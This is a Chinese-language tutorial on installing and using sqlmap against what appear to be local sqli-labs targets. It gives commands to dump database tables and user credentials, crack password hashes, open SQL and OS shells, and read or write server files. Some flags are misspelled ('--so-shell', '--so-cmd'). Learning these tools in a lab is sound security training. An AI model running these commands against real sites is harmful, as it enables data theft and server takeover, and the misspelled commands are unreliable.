注意:本章使用的注入點是亂寫的,主要以參數應用為主,可以采用自己的注入點
sqlmap需要用到python2和sqlmap
python是一個運行環境簡稱py,sqlmap是一個工具,sqlmap需用依靠python環境來運行起來.
1.pthony2去網盤找
2.sqlmap:sqlmap.org(官網下載)
3.下載后默認安裝c盤
4.sqlmap解壓后,把解壓后的文件名改成sqlmap
5.裁剪文件夾粘貼到c盤的python目錄下
6.在復制sqlmap的路徑
7.此電腦-屬性-高級設置-環境變量-path-編輯-新建-粘貼sqlmap的路徑-確定-確定
8.在復制python的路徑
9.此電腦-屬性-高級設置-環境變量-path-編輯-新建-粘貼spthon的路徑-確定-確定
10.測試是否安裝成功-cmd---sqlmap.py回車
sqlmap使用基礎
一.判斷是否存在注入
1.假定目標注入點是http://127.0.0.1/sss/?id=1
執行 1 sqlmap.py -u 127.0.0.1/sss/?id=1 --batch --batch =跳過選擇
可以判斷出用的什么數據庫,服務器,系統,等版本
2.還有一種情況,當注入點后面的參數大於等於2的時候,需要加雙引號
例如: 1 sqlmap.py -u ''127.0.0.1/sss/?id=1&uid2"
3.判斷問本中的請求是否存在注入
用burp開啟代理抓爆,把抓到的post參數復制下來,粘貼到記事本里保存命名1.txt,在把記事本放到sqlmap文件夾里.
執行 1 sqlmap.py -r desktop/1.txt
desktop桌面
-r 路徑
ps:這是將1.txt放到桌面下才會添加路徑如果是sqlmap文件夾里就不用
執行 1 sqlmap.py -r 1.txt
切記cmd也得切換到所在目錄才能執行
執行 1 sqlmap.py -r C:/Python27/sqlmap/1.txt
這是相對路徑的使用辦法
4.查詢當前用戶下的所有數據庫
該命令是確定網站存在諸如后,用語查詢用戶的所有數據庫,前提是要有權限讀取.
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --dbs
5.獲取數據庫中的表名
格式 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 庫名 --tables
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security --tables 庫名就是第四步所有數據庫下的其中一個名
6.獲取表中的字段名(列名)
該命令作用是查詢完表名后,查詢某一個表名中所有的列,
執行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 庫名 -T 列名 --columns
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security -T users --columns
7.獲取字段內容
改名了是查詢完列名后,獲取指定列中具體的字段數據
執行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 庫名 -T 列名 -C 列名,列名,列名 --dump
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 庫名 -T 列名 -C id,passwore,username --dump
基本這一步驟就可以找后台進行文件上傳漏洞了
8.獲取數據庫中所有的用戶
該命令的作用是列出數據庫所有用戶,如果有權限也可以管理用戶
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --users
9.獲取數據庫用戶名的密碼
該命令是列出數據庫的用戶的密碼,當權限運行起來時候,sqlmap會先列舉出用戶名,然后列出HASH 並嘗試破解運行
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --passwords 也可以加默認--batch
10.獲取當前網站數據庫的用戶名稱(網站用的是哪個數據庫名)
該命令的作用是列出當前網站的使用的數據用戶,
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-user 也可以加默認--batch
11.獲取當前網站是哪個的數據庫
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-db
sqlmap使用進階
1.--level 5 探測等級
--level 5指的是一共探測有5個等級(1-5),可以不用加level ,默認等級是1.
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --level 2
sqlmap使用的payload可以在文件路徑xml/payloads.xml中看到,也可以按照格式自動添加payload.
其中5級包含的payload最多,自動破解cookie,xff等頭部注入,5級運行的也慢.
這個注入參數會影響的注入點,get和post的數據都會測試,
http cookoe在為2的時候就會測試,
hettp user-agent/referer頭在leve為3的時候就會測試.在不確定哪個漏洞或者注入點時可以提高level值
2.--is-dba:查看當前用戶賬戶是否為數據庫管理權限
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --is-dba 是管理員權限會返回True
3.--roles:列出數據庫管理員的角色
當用戶有權限讀取包含所以用戶的表,輸入該命令會列舉出每一個用戶的角色,也可以用,-U參數指定想看哪個用戶的角色
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --roles
4.--referer:http referer投
sqlmap可以在請求中偽造http中的referer,當level參數設定為3或者3以上時,會嘗試對referer頭注入.
可以使用referer命令來欺騙,如:--referer http://www.baidu.com
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --referer http://www.baidu.com
意思就是你用百度的鏈接進入了你要注入的網站
5.--sql-shell:運行自定義sql語句
也就是在sqlmap里運行一個sql語句 里面可以執行 select*from users limit 0,1語句
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --sql-shell
進如成功后
1 select*from users; 他會告訴你users這個表里的所有內容
1 slesct version(); 他會告訴你數據庫版本
6.--os-cmd, --os-shell:運行任意操作系統命令
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-shell
特別注意:使用這兩個命令必須具備的條件
1.數據庫用戶必須是adb超級權限
2. 知道網站的絕對路徑
3.php當中gpc為off,php自動轉義為關閉轉態
4.就算具備以上三個條件,因為涉及到系統命令,也未必可以執行成功
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-cmd=ipconfig
7.--file-read:從服務器中讀取文件
該命令用語讀取執行文件
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-read "C:/1.txt"
8.--file-write, --file-dest:上傳文件到數據庫服務器中
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-write"上傳文件路徑(相對路徑)"--file-dest網站路徑(寫入路徑)+"/寫入的文件名"